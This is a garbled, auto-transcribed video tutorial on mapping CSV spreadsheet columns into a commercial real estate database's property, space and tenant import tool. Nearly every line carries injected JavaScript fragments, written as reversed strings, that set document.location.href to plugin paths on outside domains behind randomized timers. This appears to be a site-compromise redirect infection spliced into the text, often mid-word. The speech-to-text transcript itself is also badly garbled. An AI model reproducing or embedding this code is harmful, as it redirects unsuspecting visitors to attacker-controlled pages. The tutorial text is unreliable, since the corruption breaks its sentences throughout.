that are linked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the properties so we’ll see what that %uh looks like

7:24

former

7:24

done mapping everything so this is the meat mmm

7:28

details the whole a operation here

7:31

so toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import your file import toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and select files lashed out at its

7:35

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and first off once like what kinda doubt it you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import

7:39

so this is Reece liked the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top level

7:42

what you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import the data bits

7:45

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and so what you wanna kinda do is figure out what

7:48

where all you want the information toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go so a lot of people get confused by the

7:52

fact that their

7:53

spreadsheet has information that we’re going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to multiple love these different

7:56

aids

7:57

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and it’s somewhat goes down

8:01

in order in terms at least the most complex with the exception of contacts

8:06

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and companies are actually reversed what they should be

8:08

so companies just imports company records intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your database

8:12

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then the next level up with the contacts contacts imports both contacts

8:17

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then the company’s the Buzzcocks a link toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to property states that one step

8:21

further

8:21

in imports property data toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then the link: contacts

8:25

so it can import the owners it can import the site contact such as on-site

8:29

property managers

8:31

anything important be links up listing agent for the property

8:35

so it imports properties toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then for each those contacts that are linked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

8:38

the properties

8:39

it imports the contact as well as the company so

8:42

each one of the different levels has kinda itself contain important so

8:47

properties contains multiple contacts imports in contacts imports contain

8:51

companies imports

8:53

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and in our case we’re gonna be importing intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to space is the leasable space is

8:56

that are beat toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the properties so imports spaces

9:00

properties toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then at least the tennis the spaces

9:03

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then just like any other properties import it’ll also import

9:07

the link contact the property the site contact the owner

9:10

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the agent so it kinda takes it a step further each time

9:14

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top four spaces units sales comp Stanley sconce

9:19

well actually spaces in units would kinda be on the same level one above

9:24

properties

9:25

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and sales partially sponsored econo

9:29

one step further about that so sales parts import

9:32

the salesman parable the property the buyer the seller

9:35

listing agent procuring agent basically everything you’d see on a per

9:39

on a compatible spreadsheet imports intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the sale starts

9:43

same thing goes for response toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then units is used for multi-family buildings

9:47

we have multiple different unit types

9:49

you can import those multiple different unit types intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the individual

9:52

properties that before

9:54

but toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today we’re gonna be doing spaces importing tenants

9:57

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and owners the properties just I mean I know most

10:00

pro spreadsheets are gonna have of that information

10:03

but I just wanted a kinda show those of you that don’t deal with tenants

10:07

it’ll also show you how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do a property in part what we’re doing

10:10

so kinda two birds one stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone for the next up is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create

10:15

a new important toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to drop this down slut how much limited file with

10:19

Heather

10:20

I you could also mean possibly end up having a comma delimited file with

10:24

higher

10:24

that just means is the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top grow up your spreadsheet

10:28

does it contain the information what each call on me

10:31

so what that means is row a yourself but she didn’t select firstname lastname

10:36

city state zip code stuff like that the information that lets you know what the

10:40

actual columns me I you can also force important debates files which is the old

10:46

are you eat format as well as other all databases

10:49

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then Microsoft access me importas mists well

10:52

now you can use an existing import map after the first time we import

10:56

I’ll so we’ll talk about that once we finish but you can use the same

10:59

import map over toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and over again as long as you spreadsheets have the same

11:02

columns in them

11:04

so this could be a huge time saver for getting data in your’re a database

11:08

up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and a lot of people get title cut company dow toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get multiple listing

11:13

service data

11:14

I get information from outside data sources

11:18

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and this would be a very fast way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to populate the database with hundreds

11:22

thoustoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ands even

11:22

records in one fell swoop so you can keep using the map as long as your

11:27

column headers are the same so if you’re going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consistently get information

11:30

from your

11:31

about data service you can

11:34

always get that information intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your database quickly toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and easily

11:38

the next step is we want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to actually go here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and find the file that we’re gonna

11:41

be importing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today

11:43

so in this case i jus gotta go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my import stuff here

11:50

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

11:54

I so many sub levels like it in the Dropbox here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to select that

11:58

CSV file that we created

11:59

so that was that space is that CST it open

12:04

so what you have the files like didn’t endure selected the right he will be

12:08

important toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and creating a perm ap

12:10

we hit next toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and that’s going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bring up the edit important

12:13

dialog window so this is where we do all their work telling it

12:17

where the source field on the right side which are our Excel column so we see

12:22

sweet

12:23

lease expirations are kinda reverse them change that

12:26

columns in two rows toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and each one of these rose

12:29

represents a column starting from the left in going all the way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the right

12:33

will be at the bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom so these represent the Rose

12:37

in Excel the field name shows us what the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top roll show this

12:41

in the header a bar excel file other type will always show variant

12:45

that might eventually down the line up change from have imports from data

12:50

sources that do have

12:51

data types but CSV files don’t so this has always been show carry it all the

12:56

way down

12:57

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then the Value column A match minimize down that variant

13:02

data type column in value shows us what’s actually in each row

13:06

we can use this at the bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom right toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to school for the data toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and see the

13:10

information for each

13:11

those different columns so in sweet we can see with the value that information

13:15

is

13:16

this news for when you have spreadsheets that you’re not overly familiar with

13:20

that you’re not a hundred percent sure exactly what a column has in it

13:23

but if you look at the data you might be able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to an oath figure it out for

13:26

yourself

13:27

seeking is this that has brought toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the data toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and figure out what’s actually in

13:30

that

13:31

row so now we want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to start mapping these fields on the right side

13:35

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and telling on on the left side wherein R E A they’re gonna go

13:39

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the first thing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to notice is that it split up intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to multiple tabs

13:43

so this one perhaps in space a tab for the property

13:47

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the tab for the tent so those three primary tabs on the space import

13:51

now if you’re doing a property import your the actual property import would

13:56

look actually much more like this

13:57

here the property tab contains everything their property import has

14:02

